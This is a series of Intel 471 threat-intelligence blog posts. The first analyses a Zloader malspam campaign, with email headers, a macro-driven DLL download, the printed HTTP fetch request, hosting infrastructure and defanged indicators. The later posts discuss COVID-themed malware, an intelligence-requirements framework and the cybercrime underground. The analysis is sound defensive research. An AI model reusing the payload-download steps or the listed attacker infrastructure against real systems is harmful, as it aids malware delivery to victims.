Analysis of an attempted attack against Intel 471

By the Intel 471 Malware Intelligence team.


The following write-up is our analysis of an attack attempted against one of our employees this week. At no point was our employee’s system at risk of being compromised. Interestingly, the employee’s email address only had been used in very few instances externally. We are releasing this information publicly to share tactics, techniques and procedures (TTPs) and encourage others to share similar incidents.


The threat actor that sent this malspam campaign demonstrated good operational security (OPSEC) by hiding their infrastructure behind professional bulletproof hosting (BPH) services and by filtering traffic to hide final payloads from curious researchers. The actor used a series of tools in this operation, including KeitaroTDS, a malicious Microsoft Excel spreadsheet document builder and the Zloader banking trojan (aka Terdot). 

Considering the nature of the malspam documents (usually named “Invoice”) and the use of a banking trojan, we assess the intended goal of the attackers was to make unauthorized bank transfers from victim accounts.

Email details

The following email was sent to **** 5:26:11 p.m. GMT, Monday, March 23, 2020:

FilenameMarch Incoming Invoice from Seed Records.eml
SHA256 hash5d1bb0aef5545138feb825d5b0669ccc4a68abb4323362f2fe188e86c62aeed0

The sender was an AOL mail account, using the AOL mail portal and a Windows machine using the Google Chrome browser (if the user agent can be trusted).

From: Annika Preston <>
To: ****

Message-ID: <>
Subject: March Incoming Invoice from Seed Records
MIME-Version: 1.0
Content-Type: multipart/mixed;        
References: <>
X-Mailer: WebService/1.1.15518 aolwebmail Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36

Sender IP address

The mail was received from the Yahoo mail netspace. 

Received: from
( [])  
by with ESMTPS id c76si12645930ilg.12.2020. for <****> (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Mon, 23 Mar 2020 10:26:16 -0700 (PDT)

Excel spreadsheet details

The spreadsheet’s metadata contained the following information:

Create time2020-02-27 10:23:09.379000
Last saved time2020-03-23 12:01:22

The document implemented malicious Excel 4.0 Macros (XLM) to download and execute the secondary stage payload.

These macros were present in a hidden sheet named “DiOAFArhpr”. The macros were written vertically, character-by-character inside different cells. This approach was employed to bypass detection since analysis tools can fail to retrieve the command strings.

The executed macros were:



=ALERT("The workbook cannot be opened or repaired 
     by Microsoft Excel because it's corrupt.",2)

The DLL at the location hxxps://grpxmqnrb[.]pw/egrg4g3g was retrieved and saved under “C:\Users\Public\fef2fff.html” before being executed.

As shown in the HTTP request below, the malicious server performed a redirection to the GitHub software development platform (GitHub was advised) and downloaded a dynamic link library (DLL) from a public repository.

GET /egrg4g3g HTTP/1.1
Host: grpxmqnrb[.]pw
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)Accept: */*

HTTP/1.1 302 Found
Server: nginx
Date: Tue, 24 Mar 2020 13:00:34 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: keep-alive
Cache-Control: no-cache, no-store, must-revalidate,post-check=0,pre-check=0
Expires: 0
Last-Modified: Tue, 24 Mar 2020 13:00:34 GMT
Location: hxxps://github[.]com/arntsonl/calc_security_poc/raw/master/dll/calc.dll
Pragma: no-cache
Set-Cookie: _subid=357bngnes3kqn;
Expires=Friday, 24-Apr-2020 13:00:34 GMT;Max-Age=2678400;Path=/
X-Content-Type-Options: nosniff

Examining it revealed it does nothing but pop the Windows calculator.

Clearly, we have received a decoy payload. 

Network artifact research

The malicious Excel document contained a macro that downloaded a file from:


Creation Date2020-03-23T07:08:34.0Z
Expiration Date2021-03-23T23:59:59.0Z

The domain name probably was created solely for this campaign because it was created only days ago and appears to have no legitimate web presence.

An instance of KeitaroTDS (Traffic Directional System) was found on this domain:

The domain has the following DNS records:

grpxmqnrb[.]pw. 600 IN NS
grpxmqnrb[.]pw. 600 IN NS
grpxmqnrb[.]pw. 600 IN NS
grpxmqnrb[.]pw. 600 IN A
grpxmqnrb[.]pw. 600 IN SOA 1584947588 3600 180 1209600 180

We can see the domain is administered via DNSPod, a product of Chinese company Tencent ( 

The IP address in the address record or “A record” belongs to Alibaba Cloud aka Aliyun.

inetnum: –
netname:        ALICLOUD-GB
descr:          Aliyun Computing Co.LTD

This IP address was identified by our intelligence team as hosted by the well-known Russian-based BPH service yalishanda. The actor yalishanda’s service offers a reverse proxy network that abuses cloud providers, such as Alibaba-Cloud, Tencent Cloud, Google Cloud and others. The service uses the Chinese based free DNS provider DNSPOD to rotate client domains across the reverse proxy network. This can be thought of as a host-based fast-flux service. The fact the threat actors behind this attack have the ability to access and pay for BPH infrastructure lends more credence to the idea they are a somewhat capable and well-resourced group.

The following table contains information on the SSL certificate used by the domain:

Common namegrpxmqnrb[.]pw
IssuerLet’s Encrypt Authority X3
ValidFrom March 22, 2020 to June 20, 2020
Signature Algorithmsha256WithRSAEncryption
Serial Number041117a29a27b3b4bda2f53fd1d8ab9581d9

Passive DNS Results

Passive DNS results showed plenty of similar and recent activity associated with the IP address 8.208.28[.]247.

DomainFirst Seen
grpxmqnrb[.]pw2020-03-23 00:20:31Associated with this campaign and with Yalishanda bulletproof hosting infrastructure.
gfhudnjv[.]xyz2020-03-24 03:10:29Associated with Yalishanda bulletproof hosting infrastructure.
wgyafqtc[.]online2020-03-18 15:30:23Associated with similar Excel doc based campaign:
wgyvjbse[.]pw2020-03-18 14:45:51Confirmed Zloader controller domain name
botiq[.]xyz2020-03-18 14:46:16Confirmed Zloader controller domain name
dhteijwrb[.]host2020-03-17 07:55:04Linked directly to a very similar campaign: Associated with Yalishanda bulletproof hosting infrastructure.
tdvomds[.]pw2020-03-16 17:00:00Same type of activity: Associated with Yalishanda bulletproof hosting infrastructure.
siloban[.]pw2020-03-17 07:54:50Linked to 161.117.177[.]248 which is a confirmed Zloader controller address and part of yalishanda’s fast-flux bulletproof hosting infrastructure. Also a confirmed Zloader controller domain name.
hxzfvomd[.]buzz2020-03-15 17:00:00Linked to several similar campaigns and associated with Yalishanda bulletproof hosting infrastructure.

Reconstructing the attack

We initially were unable to download the intended payload from hxxps://grpxmqnrb[.]pw/egrg4g3g, but by following the trail of infrastructure and record of activity, we were able to reproduce the steps and continue the investigation.

The file invoice-522.xls (SHA256: 34c5591a749636853aef4f9b3867560319d78ab530a332575fee88a85287dcfa) was analyzed on the VirusTotal intelligence platform and found to communicate with the same IP address, although via a different domain and file path. This likely is a previous campaign by the same threat actor or group. 

This analysis provided a successful fetch of the initial payload: 06afeaf2b0b985e0d9e048ea8ef0231026cac4c03d3ddf45f6a4ab18d884505c

<html> <head><base href="/lander/excel4_1581586732/index.html"> <link rel="stylesheet" href="resource://content-accessible/plaintext.css"> </head> <body> =CLOSE(FALSE) </pre> </body> </html>

This payload is an exact match of the one received by Amirreza Niakanlahiji and Pedram Amini in their blog post on a previous campaign from the same actors (see: They received a payload that contacted some unknown controllers:

  • hxxps://aquolepp[.]pw/milagrecf.php
  • hxxps://dhteijwrb[.]host/milagrecf.php

We recognized these as Zloader control server addresses because they are re-using the milagrecf.php file path for their controller URLs.

Was it possible our campaign was unrelated? As an analyst, one must always approach an investigation with a healthy dose of skepticism. A few instances of similar behavior can be coincidental. We should look for patterns of behavior to learn how the operation works. 

By pivoting on the response content, we found several similar URLs first seen recently:

First SeenAV ScoreURL
2020-03-190/ 76hxxps://wgyafqtc[.]online/fgwg24g24g
2020-03-194/ 76hxxps://tdvomds[.]pw/fgwg24g24g
2020-03-170/ 71hxxp://tdvomds[.]pw/12341324rfefv
2020-03-195/ 76hxxps://tdvomds[.]pw/12341324rfefv
2020-03-161/ 71hxxps://hxzfvomd[.]buzz/asf2f1ff
2020-03-161/ 71hxxp://hxzfvomd[.]buzz/asf2f1ff
2020-03-052/ 71hxxp://pjtcdnrd[.]pw/fsgbfgbfsg43
2020-03-050/ 71hxxps://pjtcdnrd[.]pw/fsgbfgbfsg43
2020-03-042/ 71hxxp://wrjmkdod[.]xyz/SDFwef2fvbbe

The pattern of behavior is becoming clear. Most of these domains can be linked to malicious Excel documents apparently created by the same malicious document builder. Based on the research, we can attribute some TTPs to this threat actor. 

Tactics, techniques and procedures

The threat actor proved to have access to many resources in the criminal underground and is comfortable with a range of tools to run the operation. The following TTPs were observed:

  • Hiding infrastructure behind BPH from the known vendor yalishanda. See Brian Krebs’ blog post on yalishanda here.
  • Using a malicious Excel document builder to craft documents for malspam campaigns.
  • Using KeitaroTDS for routing traffic and controlling campaign infrastructure. 
  • Using Zloader banking trojan for establishing control on victim machines and staging additional payloads such as hidden virtual network computing (HVNC) and launching web-injects. 
  • Using legitimate secure sockets layer (SSL) certificates signed by Let’s Encrypt. 

Indicators of compromise

These can be downloaded in CSV format here.

Download link from malicious Excel documenthxxps://wgyafqtc[.]online/fgwg24g24g
Download link from malicious Excel documenthxxps://tdvomds[.]pw/fgwg24g24g
Download link from malicious Excel documenthxxp://tdvomds[.]pw/12341324rfefv
Download link from malicious Excel documenthxxps://tdvomds[.]pw/12341324rfefv
Download link from malicious Excel documenthxxps://hxzfvomd[.]buzz/asf2f1ff
Download link from malicious Excel documenthxxp://hxzfvomd[.]buzz/asf2f1ff
Download link from malicious Excel documenthxxp://pjtcdnrd[.]pw/fsgbfgbfsg43
Download link from malicious Excel documenthxxps://pjtcdnrd[.]pw/fsgbfgbfsg43
Download link from malicious Excel documenthxxp://wrjmkdod[.]xyz/SDFwef2fvbbe
Yalishanda bulletproof hosting IP8.208.28[.]247
Yalishanda bulletproof hosting IP161.117.177[.]248
Zloader controller URLhxxps://aquolepp[.]pw/milagrecf.php
Zloader controller URLhxxps://barbeyo[.]xyz/milagrecf.php
Zloader controller URLhxxps://bhajkqmd[.]xyz/milagrecf.php
Zloader controller URLhxxps://botiq[.]xyz/milagrecf.php
Zloader controller URLhxxps://buhjike[.]host/milagrecf.php
Zloader controller URLhxxps://bwambztl[.]xyz/milagrecf.php
Zloader controller URLhxxps://dhteijwrb[.]host/milagrecf.php
Zloader controller URLhxxps://rizoqur[.]pw/milagrecf.php
Zloader controller URLhxxps://siloban[.]pw/milagrecf.php
Zloader controller URLhxxps://wgyvjbse[.]pw/milagrecf.php
Malicious Excel document samplecfe139d639d461fe731427e79bd7048849080d4d7d906d10fae764eb056f1f0b
Malicious Excel document samplef1ced9008d9de4109844d99fc924b6e3e4a4062ed37b52ce4b5baed430d004cf
Malicious Excel document sample4a5d8cde14f9e8c4f1a0cf514ca084528631d6caa8aa5282a4bf8f58dbf54f33
Malicious Excel document sample9e5edda543358b7ead2614ff75e23d2c271cb917a89003fa8733d9d730950507
Malicious Excel document sample30175739414fa301617ed6f0234992f1b3bc67a8547185cd332ad42c5a170486
Malicious Excel document sample34c5591a749636853aef4f9b3867560319d78ab530a332575fee88a85287dcfa
Zloader malware sample8021084f2d006101e0522f62de9c1e22ec55a6639e792dc7eff2826c013597a9
Zloader malware samplee81d729e1b810215940eb96e1de3e9500f522e9ba16bca2f9d49113fb462bb4d
Zloader malware sample0889271c721391d625a19391275f0e6bf244a5548a1a6eb673c6e16a48e960e1
Zloader malware sample3703d42ee0a6c4115295f14f3980cf205f7e6fb77ed0301c845431728015c812
Zloader malware sample3f2cf070e3740514c4e0dd431392a6727250a9ad3425c5b25ffad2d9d3b74716
Zloader malware sample66f49a261b6086dfdd1c3e2a21f7cb746aa35707490cbd64693d66383ba54c64
Zloader malware sample776fee630d6f89a7a01c5903de93fbd9f12f5cba8df148330a8c6f0cd267890b
Zloader malware sample945e3e4f52d30e07a281b20f96bf7150234c18aa4373c683dee74a194b57dcc0
Zloader malware samplea347f8b4a17dffa05a4fe9602cf99302201220e7000b5826798dd3d8db7b2b7f
Zloader malware sampleac60a7471ee5297b9cefb5b3d1c1dbec4b7bf328c8b8649529202a1381acb2a5

Malicious actors leverage Coronavirus Disease 2019 fear to increase business

By the Intel 471 Intelligence Analysis team.

Our lives continue to be inundated with emails, mobile applications and websites that promise to deliver critical information related to the Coronavirus Disease 2019 (COVID)-19 pandemic threatening millions of people across the globe. Fear surrounding the disease has been exploited by attackers with adverse intentions who have launched campaigns including business email compromise (BEC), phishing and malicious domains. These domains can be used to push disinformation, malware, ransomware, steal passwords or personal information and by possible nation-state hackers to conduct reconnaissance. For example, the cybersecurity digital magazine SC Media reported an Android application was available at coronavirusapp[.]site. The app later was dubbed the CovidLock Android ransomware and claimed to provide access to real-time virus tracking. However, the app instead was found to be disguised ransomware that locked victims’ phones using a screen-lock attack.

Several open source reports claimed similar phishing campaigns leveraged the recent COVID-19 outbreak and widespread fear of the virus for personal gain. These phishing campaigns were used in attacks targeting individuals in the U.K and U.S, via highly enticing links in emails from attackers that impersonated departments of the U.S. government, health officials, university personnel and the World Health Organization (WHO) warning of new infections reported in the local area and providing safety measures.

Themed malware campaigns arise

Intel 471 observed similar instances of phishing campaigns advertised in the underground. On Feb. 22, 2020, a newcomer to the Russian-speaking underground offered to sell a “new exploit” and coronavirus “phishing method” that leveraged the COVID-19 outbreak as bait. The actor stated the exploit would load a functional online map of the COVID-19 infected areas with additional data. The map was promoted as interactive, resizable and allegedly contained real-time data from the WHO and other sources. The actor assumed users would mistake the malware as an actual map, open and forward it on to friends and naturally increase the malware’s infection rate. According to the malware description provided by the actor, the loader was fully undetectable (FUD) and could bypass Windows Defender anti-virus software. The actor also claimed the malware supported all Windows versions from Windows XP and newer, although it required a version of Java Runtime Environment (JRE) software be installed on the system. The malware with the actor’s code-signing certificate was priced at US $700 and an unsigned malware sample was priced at US $200.

An example of a Coronavirus Disease 2019 (COVID)-19 themed Hancitor malware drop in a screenshot from the Twitter account @malware_traffic March 16, 2020.

An example of a Coronavirus Disease 2019 (COVID)-19 themed Hancitor malware drop in a screenshot from the Twitter account @malware_traffic March 16, 2020.

An example of malicious command and control (C2) domain IP addresses deploying the DanaBot banking trojan from Coronavirus Disease 2019 (COVID)-19 themed domains in a screenshot from the twitter account @James_inthe_box March 16, 2020. 

Separately, several operators of notable malware groups utilized COVID-19 themed attacks, including AZORult, DanaBot, Emotet, Hancitor and Smokeloader. Based on information provided in open sources, the Intel 471 malware intelligence team independently observed known hashed malicious files downloaded from known malicious domains that used a command issued by a controller. These events linked the Hancitor and Smokeloader campaigns based on files dropped and the command and control (C2) infrastructure. Additionally, we observed AZORult utilized malignant COVID-19 themed C2 infrastructure to exfiltrate victim data. 

An example of a process graph related to the malicious corona-virus-map[.]net domain in a screenshot from the twitter account @malwrhunterteam March 16, 2020.

The advantageous methods employed by threat actors substantiates the increased importance of being highly suspicious of communications not verified by official sources which appear to provide information or goods related to the ongoing pandemic.

1.1.1 Ransomware malware
1.1.2 Mobile malware
1.1.3 Remote access trojan (RAT) malware
1.1.4 Banking trojan malware
1.2.5 Spamming services
4.4.1 Phishing
6.2.4 Europe
6.2.7 North America


[1] 16March2020 SC Media article: Password found to rescue victims of malicious COVID-19 tracker app

[2] 01Feb2020 Bleeping Computer article: Coronavirus Phishing Attacks Are Actively Targeting the US

[3] 16March2020 ARS Technica article: The Internet is drowning in COVID-19-related malware and phishing scams

[4] 16March2020 Twitter post: @malware_traffic

[5] 31Jan2020 TrendMicro blog: Emotet Uses Coronavirus Scare in Latest Campaign, Targets Japan

[6] 16March2020 Twitter post: @James_inthe_box

[7] 16March2020 Twitter post: @malwrhunterteam

Introducing Intel 471’s Cybercrime Underground General Intelligence Requirements (CU-GIR): a common framework to address a common challenge

By Michael DeBolt, Vice President of Intelligence.

In the last blog, I outlined three key benefits of a requirements-driven intelligence program. We also looked at three challenges that are preventing many programs from moving from concept to practice. 

If you didn’t read it, here’s the TL;DR version:

I promised also to share details of how our approach at Intel 471 has helped to empower intelligence teams to tackle these challenges effectively, in the hope that this will assist others to navigate the same journey.

With this in mind, let’s pose the question again… “How to build a requirements-driven intelligence program?”

Adding new tires to existing wheels

As we thought about addressing this challenge at Intel 471, we sought inspiration from existing and proven frameworks and processes.

United States Marine Corps (USMC) “GIR” framework

As a framework, the USMC Intelligence Activity has long used “Generalized Intelligence Requirements (or “GIRs”) to assist human intelligence (HUMINT) collectors in the physical areas they operate. Collectors use a set of prescribed GIRs as a baseline tool to spot and assess collection opportunities against common observables they might encounter in the field. 

U.S. Marine Corps GIRs are organized into handbooks for each type of environment Marines typically encounter. For example the UGIRH (PDF) covers commonly asked intelligence requirements when operating in an urban environment. There also is a mountain GIR, and so on. 

Could we create a GIR-like framework based on the cybercrime underground?

United States Intelligence Community prioritization process

A framework is great, but without a solid process to apply it against, it becomes useless. Enter the U.S. Intelligence Community’s process for prioritizing requirements across multiple stakeholders. This is a system of collating, weighting, scoring and prioritizing intelligence requirements to produce guidance for collectors and analysts in the field. Every requirement is mapped directly to the stakeholder asking for it. In short, everyone knows what success looks like and how exactly to achieve it. 

Could we implement a similar process against a GIR-like framework?

Introducing: Cybercrime Underground General Intelligence Requirements (CU-GIR)

Intel 471’s Cybercrime Underground General Intelligence Requirements (or simply “GIRs”) is a compilation of frequently asked questions or topics based on common observables in the cybercrime underground. Roughly 180 GIRs are organized under a nested tree structure under the following six categories:

GIRs are organization-agnostic 

The GIR framework allows for consistent and standing coverage of commonly observed and generalized threats to industry, sector, supply chain and geographic areas of interest, taking advantage of the highly “organized” characteristic of the cybercrime underground, which we outlined in a previous blog

Conversely, organization-specific intelligence requirements (or “OSIRs”) are custom requirements based on needs unique to an organization or stakeholder. This includes specific infrastructure, technologies, brands, services, and more. We will cover OSIRs in a later blog.

GIRs are mapped to intelligence consumers and use cases

Each GIR maps to typical stakeholders and use cases where cyber threat intelligence (CTI) teams need to produce intelligence. Essentially, GIRs are ready-made intelligence requirements that can be used to bootstrap discussions with your stakeholders.

GIRs are not simple tags

Taking it a step further, each GIR includes a definition and specific essential elements of information (EEIs) that need to be addressed to fulfill or satisfy a particular GIR. As an analyst, these are the questions I will seek to address in my report or deliverable to satisfy a particular stakeholder use case. When content is marked or tagged with a GIR, it means that it fills a gap in knowledge.

For example, GIR 3.1 contains three child GIR entries for the common IaaS types along with the relevant EEIs an analyst needs to address in an intelligence deliverable that satisfies a stakeholder’s use case.

GIRs allow for a range in specificity

GIRs are situated in a nested tree structure to allow for a range in specificity and flexibility in its utility. For example, by addressing the EEIs of a specific child GIR entry, an analyst inherently satisfies the corresponding parent entry. 

The graduation of these GIRs across a range of depths, allows organizations to refine their requirements over a period of time to focus on any areas of concern and to address both their specific, granular requirements as well as supporting their broader strategic needs.

How does Intel 471 use the GIR framework?

At Intel 471, CU-GIRs underpin everything we do. GIRs are used as our primary baseline tool to collect, classify and report frequently observed information found in the underground.

Prioritized and focused collection

Customers use our handbook to select and rank subsets of GIRs that are aligned to their stakeholders and use cases. These become client Priority Intelligence Requirements (PIRs). Intel 471 weighs and scores all PIRs and uses the resulting list to prioritize and steer standing collection and production efforts. Using this approach, we also gain insight into priority requirements across industry verticals.

Structured intelligence content and automated routing

Each Intel 471 deliverable is tagged with the applicable GIR or GIRs and automatically highlighted to clients who have matching PIRs.

Measured intelligence production

Synchronizing client PIRs to GIRs gives us a reliable method to measure the value of our intel production against our client needs over time. And, in turn, it gives our clients the ability to objectively measure their support to their own internal stakeholders.

Can other intelligence teams use the GIR framework?

Hopefully it’s clear by now that we want to share the CU-GIR framework with the industry to help empower intelligence teams. We created a handbook called the CU-GIRH, similar to the U.S. Marine Corps UGIRH mentioned previously in this blog, which serves as a baseline tool to assist organizing, prioritizing, producing and measuring production of cybercrime intelligence. Our hope is that it will help for you in whatever stage your CTI program, whether you are bootstrapping a new team or revisiting existing processes.

Still work to be done… and we want your input

At Intel 471, we have seen 1 1/2 years of real-world success by proving the concept of CU-GIRs both internally and with our customers. But this is only the beginning. Like any newly proposed framework or idea, the GIRs is a work in progress. We are eager to see where it goes next.

Currently, a subset of the CU-GIRs are mapped to the top-level of Mitre’s ATT&CK framework. We also are in the early stages of interlacing the CU-GIR framework with FAIR to help inform risk-based decisions and action. We also envision the creation of separate GIR frameworks for coverage of other environments where intelligence collection and production is needed, such as physical security, executive protection, and more. These projects are ongoing and will require feedback and input from the community to get them right.

Ultimately, we are sharing this framework because it provides a practical approach to implement a requirements-driven program, which is a challenge many intelligence teams experience across industry verticals and within both vendor and consumer spaces. Share your thoughts and ideas on this important subject and collaborate with us to further refine the next iteration of the GIR framework. Will GIRs solve all the problems related to intelligence collection and production? No it won’t. But we believe it can help a great deal!

Intelligence requirements: Moving from concept to practice

By Michael DeBolt, VP of Intelligence of Intel 471.

Our industry talks a lot about intelligence requirements. Yet I’ve noticed over the years a lack of practical advice being shared about how to actually work with or implement intelligence requirements as a fundamental component of a cyber threat intelligence (CTI) program. In a future blog, I’ll share how we do things at Intel 471, hopefully to help address this gap.

But for now, let’s tackle the disconnect between the concept and practice of intelligence requirements by looking at a few key benefits and challenges.

I’ll go on a limb and predict that most of the CTI industry is totally on board with the concept of intelligence requirements. There is a ton of really great material out there that covers it extremely well (such as this, this, and, of course, that). Thanks to these resources and others, in the last five years our CTI industry has evolved to appreciate the need for intelligence requirements as fundamental to what we do. This is an exciting and positive step that should be celebrated. Now more than ever before, we understand our overall success as intelligence professionals is measured on our ability to  satisfy the requirements of our stakeholders consistently and ultimately to inform their decisions and actions that protect our organization.

We know intelligence requirements are important. Here are three key reasons why:

Benefit 1: Maximized resources 

Most of us operate in an environment where resources and funding are scarce. A requirements-driven program maximizes our limited time, money and effort by trimming the fat. When done correctly, our human capital and data sources are synchronized, focused and aligned to meet the requirements of our stakeholders. We know exactly what we need to collect, produce, and deliver, and who needs it.

A simplified collection plan showing synchronization between deliverables, sources, stakeholders and intelligence requirements.

Benefit 2: Measured success criteria

There is no ambiguity in what we collect or produce. Each data source, report and deliverable is aimed at satisfying Priority Intelligence Requirements (PIRs) agreed upon by you and your stakeholders. Requirements are frequently revisited with stakeholders to ensure alignment, and any deliverable that regularly falls outside the scope of those requirements requires heavy scrutiny, gap analysis, and justification.

Benefit 3: Demonstrated CTI return on investment

An intelligence program grounded in stakeholder requirements enables objective measurement of intelligence production and impact over time. This helps confidently answer the inevitable question from senior management, “how does our CTI capability provide value to the organization?” 

So the concept and justification for requirements is crystal clear and firm — intelligence requirements are the lifeblood of any CTI program

Which brings us to the question at hand: “How to build a requirements-driven intelligence program?” We appreciate intelligence requirements, but historically, migrating from concept to practice has been challenging due to a number of reasons, namely:

Challenge 1: Prioritization nightmare

Requirements and expectations differ greatly across the various stakeholders supported by our intelligence teams. Many have vastly different and sometimes overlapping requirements and expectations. Others are opaque, confusing or too broad to align specific resources. These factors often create daunting scenarios for intelligence teams to prioritize effort aligned to stakeholder needs, resulting in confusion or a lack of focus with what an intelligence function ultimately collects and produces. A proper requirements-driven program aligns stakeholder priorities to intelligence production.

Challenge 2: “Whack-a-mole” game

Intelligence teams often are inundated with ad-hoc, “block and tackle” requests from stakeholders, leaving them out of position not only to respond and react in a timely and accurate manner to unfolding events, but also to paint situational awareness to key decision makers in advance of ever-evolving methods of those that seek to harm the organization. Without a requirements-driven program, intelligence teams are destined to be reactive and short sighted and continuously will struggle to provide intelligence that informs proactive decision-making, such as threat assessments across industry, supply chain and geographic areas of interest.

Challenge 3: Same goal, multiple languages

While the concept and benefits of a requirements-driven intelligence program are clear, putting it into practice can be very difficult. Fundamentally, achieving this is a team sport that requires synchronization across at least four components — the CTI team, executive leadership, stakeholders and vendors. Yet, each operates differently, speaks their own language and uses various definitions to achieve their end goals. To help bridge this gap, our CTI industry needs a commonly understood and accepted intelligence requirements framework for defining, managing, processing, tracking and producing intelligence aligned to our stakeholders’ needs.

In the next blog, I will detail our practical approach to meet these challenges using our “General Intelligence Requirements” (or “GIR”) framework.

Melting the ‘deep and dark web’ myth and why we hate the phrase

By Michael DeBolt, VP of Intelligence of Intel 471.

It’s not deep. It’s not dark. It’s not the ominous underside of an iceberg.

The deep and dark web, or simply the “underground,” as we like to call it at Intel 471, is an organized ecosystem of products, services and goods consisting of real life suppliers and consumers who can be mapped, tracked, understood and exposed.

As an industry, we do ourselves a disservice by often mystifying and overhyping otherwise straightforward concepts, such as  the “deep and dark web” for the pursuit of catchy sales pitches or taglines. At first glance, this may seem harmless and nitpicky, but the reality is this sensationalization of the underground causes confusion and disorientation, putting our industry at risk of not being able to fully understand and exploit it for intelligence purposes.

So let’s cut through the jargon and look at four essential characteristics of the underground.

The cybercrime underground is…


The popular iceberg metaphor often (and overly) used to illustrate the vastness of the deep and dark web is…., well, flat-out wrong. As Recorded Future correctly points out, the deep and dark web actually is a small fraction of the entire web and it’s not as dark and mysterious as we are led to believe.

So, instead of hyping the “clear, deep and dark” buzzwords, we simply break down the different areas of the web in terms of accessibility and the barrier of entry needed to collect and exploit for intelligence purposes.

Open sources

These resources are any content openly indexed by conventional search engines and publicly accessible via conventional means. In other words, you don’t need specialized software or authorization to access it. Think about open-source news articles, public social media posts and open directories.

Closed sources

This is any nonindexed content gated from public view. Access to closed sources depends on the sensitivity of the underlying content and the privilege needed. Some closed sources require standard username and password access, while others require specialized software and vouches by trusted members of the community. We refer to closed sources where cybercriminals operate as simply the “underground,” which consists of forums, marketplaces, instant messaging platforms, private social media groups and more.


The “deep and dark web” myth would have you believe it is random and chaotic, but that is not so. In fact, the underground is an organized ecosystem of interdependent suppliers, vendors, consumers, facilitators and active participants. Suppliers offer speciality products and services to prop up the cybercriminal marketplace (i.e., malware, infrastructure and more). These actors use carefully constructed public relations and advertising campaigns to promote their offerings. Any successful supplier worth their weight will carry a positive trackable reputation, while fakers and scammers are identified quickly. These observable aspects of the underground let us lower the noise so we can laser focus our intelligence collection efforts on high-value actors.


Unlike the popular belief perpetuated by the “deep and dark web” myth, the underground is a finite space that can be mapped and explained. It consists of hundreds of closed sources, such as forums, marketplaces and instant messaging platforms, where real humans plan attacks, share ideas and do business exchanging data and information. Sure, there are millions of actor handles and indicators in the underground, but only a finite number actually are perpetrating and enabling the majority of cybercriminal activity. Our job as intelligence professionals is to understand how the underground is organized so we can locate, prioritize and collect from the sources and actors that matter.


The underground is organized, finite and propped up by real people with natural human instincts and motivations. Our job is to understand these motivations — whether it be financial gain, political cause, or personal fame — and exploit them for intelligence purposes using a combination of automated collection and human engagement. Automation is useful to help sift through and bubble up content. But because we are dealing with the nuances of human behavior in vetted, closed sources, relying solely on a fully automated collection capability will only surface a fraction of intelligence available in the underground. Skilled, native-speaking researchers and sensitive, well-placed sources must be used to gain, maintain and elevate access to top-tier actors to elicit valuable information that only can be obtained through human-to-human interaction.

Don’t believe the hype

As our CEO Mark Arena previously outlined in detail, the cybercriminal underground is available for us as intelligence professionals to map and exploit proactively. Actors operating in this environment are not wearing black hoodies or Guy Fawkes masks. These are real people who have natural tendencies, motivations, reputations and brands, who can be categorized and tiered according to their reputation, history and background. When we intimately understand their business models, processes, enablers and pain points, we are ready to take action to counter the threat proactively.

No, the criminal underground isn’t dropping its use of Bitcoin anytime soon

By Mark Arena, CEO of Intel 471.

I recently read an article which claimed the “criminal underworld” was dropping its use of Bitcoin. In the past month, Intel 471 has looked closely at the criminal underground to identify if Bitcoin was still strong in its use and whether there were any up-and-coming cryptocurrencies that were gaining traction or which eventually might overtake Bitcoin’s current usage levels.

Overall, Bitcoin still appears to be the most popular cryptocurrency in the underground by far. Given the recent problems with Bitcoin (high fees, slow transactions, ability to track transactions), one would expect a growth of other cryptocurrencies. However, alternative cryptocurrencies still are not widely used as a payment method, at least in part because the payment and escrow systems of most of the criminal marketplaces mainly support Bitcoin only.

Anecdotally, it appears Monero is becoming more popular because:

1. It provides full anonymity; and

2. It is easier to port a miner into a hidden malware for all platforms, including mobile.

We looked on our platform to count the number of mentions per each cryptocurrency. Roughly, the mentions are:

· 50,000 to 85,000 for Bitcoin;

· 2,000 to 14,000 for Ethereum;

· 1,000 to 2,500 for Monero; and

· 1,000 to 2,000 for Litecoin.

Our analysis of criminal underground forum posting timelines show that mentions of Bitcoin steadily grow; Ethereum’s mentions are fewer, but growing slightly; Monero shows some ups and downs, but seems to decline slightly; and Litecoin suddenly appeared in March 2017, but since has been declining.

On another note, one of the top sellers of credit cards in the underground recently wrote he was seeking to add Dash as an alternative cryptocurrency after Bitcoin, which currently is the only cryptocurrency supported there.

In summary, Bitcoin still is the top cryptocurrency used by criminals in the underground by far. More importantly, it is unclear whether any cryptocurrency will overtake Bitcoin, not which cryptocurrency that might be.

Naming malware: What’s in a name?

By Mark Arena, CEO of Intel 471.

This week’s incident with Petya/NotPetya/GoldenEye/Nyetya/Petrwrap has reignited the debate about how security companies name malware. In my opinion, the security industry’s use of different names for the same thing isn’t good for either customers or the industry at large, and it’s something that could be solved without too much effort.

Why do we need consistent naming?

This week I was on a webex with regards to Petya in which there were numerous questions around the naming of the malware. This was clearly confusing for a lot of people who were on the call. When we look into more advanced cyber threat intelligence analysis and tying tools to campaigns and groups, it gets even more complex. An an example, let’s look at “Carbanak”, which is referenced a lot by the security community. The word “Carbanak” is a combination of the words “Carberp” and “Anunak”, which are both trojans/malware used by a variety of different actors and groups. Numerous security companies refer to some malware samples as “Carbanak” and I don’t even know what that means.

What names should we use?

When I think of how we currently name malware, I immediately think of how each language names countries. Let’s look at some examples:

When it comes to naming countries, I’m of the opinion that everyone should call the country by the name the locals call it. And when it comes to malware, I’m of the opinion that we should call the malware the name the bad guys call it — hence my preference for the term Petya. On the (numerous) occasions that we don’t know the name the bad guys call the malware, I’d suggest that the malware be named by the first security company that found it.

An independent and central repository for malware naming

Security companies (Intel 471 included) also need an independent adjudicator to keep us from assigning different names to the same malware. Something like how Mitre handles CVEs could work — just set up a counterpart to “The Standard for Information Security Vulnerability Names”, and call it “The Standard for Information Security Malware Names.”

Being a cyber threat intelligence analyst and operating in the fog of uncertainty

By Mark Arena, CEO of Intel 471.

A lot has been said, blogged and marketed on WannaCry ransomware with many pointing fingers at who they think might be behind it. The objective of this blog isn’t to critique, support or disprove any specific hypothesis. The goal is to highlight what it means to be a cyber threat intelligence professional who will most certainly be faced with the reality of incomplete information and/or different levels of uncertainty. The ability to operate and make assessments under a fog of uncertainty is what intelligence analysts do…it’s a core competency!

